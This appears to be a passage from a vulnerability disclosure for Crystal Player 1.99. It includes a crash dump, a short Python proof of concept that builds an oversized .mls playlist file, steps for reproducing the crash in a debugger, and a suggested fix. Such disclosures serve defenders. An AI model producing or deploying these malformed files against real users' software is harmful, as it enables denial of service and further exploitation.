00060051 doesnt exist in the program aka not allowed .. so memcopy fails...

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040f933 (Crystal+0xf933)

Access violation when reading [00060051]

Proof of Concept (PoC):
This vulnerabilities can be exploited by local attackers with userinteraction ...


buffer = "A"*30000

filename = "Crash"+".mls"
file = open(filename, 'w')
print "[] Successfully MLS Created []"

How to perform:
1) Open Immunity Debugger and attach Crystal Player 1.99
2) Run it, Now move .mls file that we generated by our python script to the player
3) Once again you have to move the same file in Crystal Player 1.99 for adding second playlist.

When you perform above steps so application will crash. Analyze it on Immunity.

Solution - Fix & Patch:
Restrict working maximum size & set a own exception-handling for over-sized requests.

Security Risk:
The security risk of the vulnerability is estimated as medium because of the local crash method.
